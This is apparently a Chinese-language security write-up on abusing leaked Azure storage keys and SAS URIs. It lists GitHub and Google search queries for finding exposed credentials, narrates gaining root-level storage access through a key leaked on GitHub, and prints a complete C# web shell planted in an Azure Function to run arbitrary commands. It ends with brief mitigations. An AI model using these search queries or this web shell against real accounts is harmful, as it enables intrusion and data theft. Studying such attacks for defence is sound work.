對泄露的Azure存儲密鑰的挖掘和利用
全文脈絡
- 訪問泄露的存儲帳戶的訪問密鑰
2.連接到存儲帳戶并下載 Blob、文件等
3.文件中包含 Azure 函數的代碼
4.使用 web-shell 創建一個新的 HTTP 觸發器
5.將惡意文件作為新觸發器上傳到 Azure 文件并運行操作系統命令
Azure 存儲帳戶訪問密鑰(Access Keys)和 SAS URI
Azure 存儲帳戶使用包含帳戶名稱和密鑰的憑據。創建存儲帳戶時會自動生成該密鑰,并被用作連接到 Azure 存儲的密碼。默認情況下,存儲訪問密鑰具有所有權限,類似于存儲帳戶的root密碼。
Azure 存儲帳戶包含的存儲類型有:Blob、隊列、表和文件(共享文件夾或驅動器),并可通過API訪問。

此外,Azure 提供了共享訪問簽名 (SAS) URI,用于授予對存儲對象的細粒度訪問權限。SAS URI,可以控制要公開哪些數據,以及對這些對象賦予哪些權限(SignedPermission),以及 SAS URI 的有效時間(SignedExpiry),其他參數如下所述:

https://<accountname>.<service>.core.windows.net/?sv=2018-03-28&ss=bfqt&srt=sco&sp=rwdlacup&se=2019-09-30T17:13:23Z&st=2019-09-30T09:13:23Z&sip=88.208.222.83&spr=https&sig=LCoN4d%2B%2BZSzPtPO71fMS34k%2FhLf2Wjen9pzhlAGFfPU%3D

查找訪問密鑰(Access Keys)和 SAS URI
Access Keys和SAS URI 至關重要,故我們需防止出現未經授權漏洞導致的信息泄露的情況出現。但在某些情況下,此信息可在公共資源中獲得。我們可創建了一個參數列表,有助于查找帳戶名稱、密鑰和 SAS URI。
賬戶名稱和密鑰
- https://github.com/search?l=XML&q=DefaultEndpointsProtocol%3Dhttps&type=Code
- https://github.com/search?q=StorageConnectStringBlob&type=Code
- https://github.com/search?q=local.settings.json&type=Code

推薦一個很贊的搜索網站,可進行多站點搜索:https://tools.redhuntlabs.com/online-ide-and-paste-search-tool.html,有助于搜索訪問密鑰(Access Keys)和 SAS URI

共享訪問簽名 - SAS URI
Github
https://github.com/search?q=rwdlacup&type=Code

- https://www.google.com/search?q=site:*.core.windows.net%20inurl:sig
- https://www.google.com/search?q=site:*.{customdomain}.com%20inurl:sig
此外,相關信息也可以在這些文件中找到:
- web.config
- local.settings.json
- app.config
關注下面這個 SAS URL,簽名有效間隔(se 參數)設置得太高,它對文件共享對象擁有所有可用權限。如果惡意行為者發現了此 URL,則他可以讀取、更新和刪除存儲帳戶中的所有對象。
https://storageaccount.file.core.windows.net/XYZ-538d26??sv=2017-04-17&ss=bfqt&srt=sco&sp=rwdlacup&st=2019-09-30T19%3A43%3A56Z&se=2039-10-01T19%3A43%3A00Z&sig=WRo1i2cchlfVBCa%2FfwCqx3i%2BO64HSjbl%2F…..
后門
我們在公共托管的 Github 存儲庫中識別出 Azure 存儲Azure AccountName 和 AccountKey,泄露了local.settings.json 文件中的 Azure 存儲連接,如下圖所示:

下一步是驗證密鑰并識別訪問權限。
為此,我們使用 Azure 存儲資源管理器 (https://azure.microsoft.com/en-in/features/storage-explorer/ ) 使用Azure AccountName 和 AccountKey連接到存儲帳戶。

很幸運,該密鑰有效,它可以作為存儲帳戶的 root 用戶訪問 Azure Blob、文件、隊列和表。

我們進一步查看存儲對象,文件共享目錄包含以下結構,引起了我們的注意。
- ASP.NET
- data
- LogFiles
- root
- site
我們可以訪問 site\wwwroot 目錄中用于 HTTP 和 Blob 觸發器的 Azure 函數的源代碼(.csx - CSharp scripts),如下所示:

說了這么多,接下來到了重點中的重點了。使用 Azure CLI 命令下載 BLOB 容器 (azure-webjobs-secrets)。

我們在 azure-webjobs-secrets 容器的“host.json”文件中找到了 HTTP 觸發器的 URL。HTTP 端點 URL 處于活動狀態,當授權級別設置為匿名時,我們可以訪問它。

既然我們擁有讀/寫對象的權限,就可以覆蓋現有的函數了。然而,由于它是一個生產實例,我們決定不覆蓋或替換現有實例,而是選擇一種非破壞性方法,在子文件夾中上傳一個簡單的 hello world HTTP 觸發器,如下所示。

成功掛上了黑頁了。

接下來演示一下代碼執行:為了實現代碼執行,我們使用 webshell 代碼更新了“run.csx”并將其上傳回 HellowWorldTrigger。
Web-shell (run.csx)
#r "Newtonsoft.Json"using System.Net;using Microsoft.AspNetCore.Mvc;using Microsoft.Extensions.Primitives;using Newtonsoft.Json;using System;using System.IO;using System.Diagnostics;public static async Task<IActionResult> Run(HttpRequest req, ILogger log){ log.LogInformation("C# HTTP trigger function processed a request.");string cmd = req.Query["cmd"];string requestBody = await new StreamReader(req.Body).ReadToEndAsync();dynamic data = JsonConvert.DeserializeObject(requestBody);cmd = cmd ?? data?.cmd;return cmd != null ? (ActionResult)new OkObjectResult(ExcuteCmd(cmd)) : new BadRequestObjectResult("Please pass a name on the query string or in the request body");}public static string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c " + arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}
我們現在可以訪問 Web shell 并在 Azure 容器上執行任意命令。

因此,通過利用公共信息我們能夠在 Azure 函數的環境中進行代碼執行操作。
防護措施
- 定期重新生成存儲帳戶密鑰
- 共享訪問簽名和存儲訪問策略以保護您的數據
- 限制對特定 IP 地址(或 IP 地址范圍)的訪問
- 將到期時間附加到 SAS URI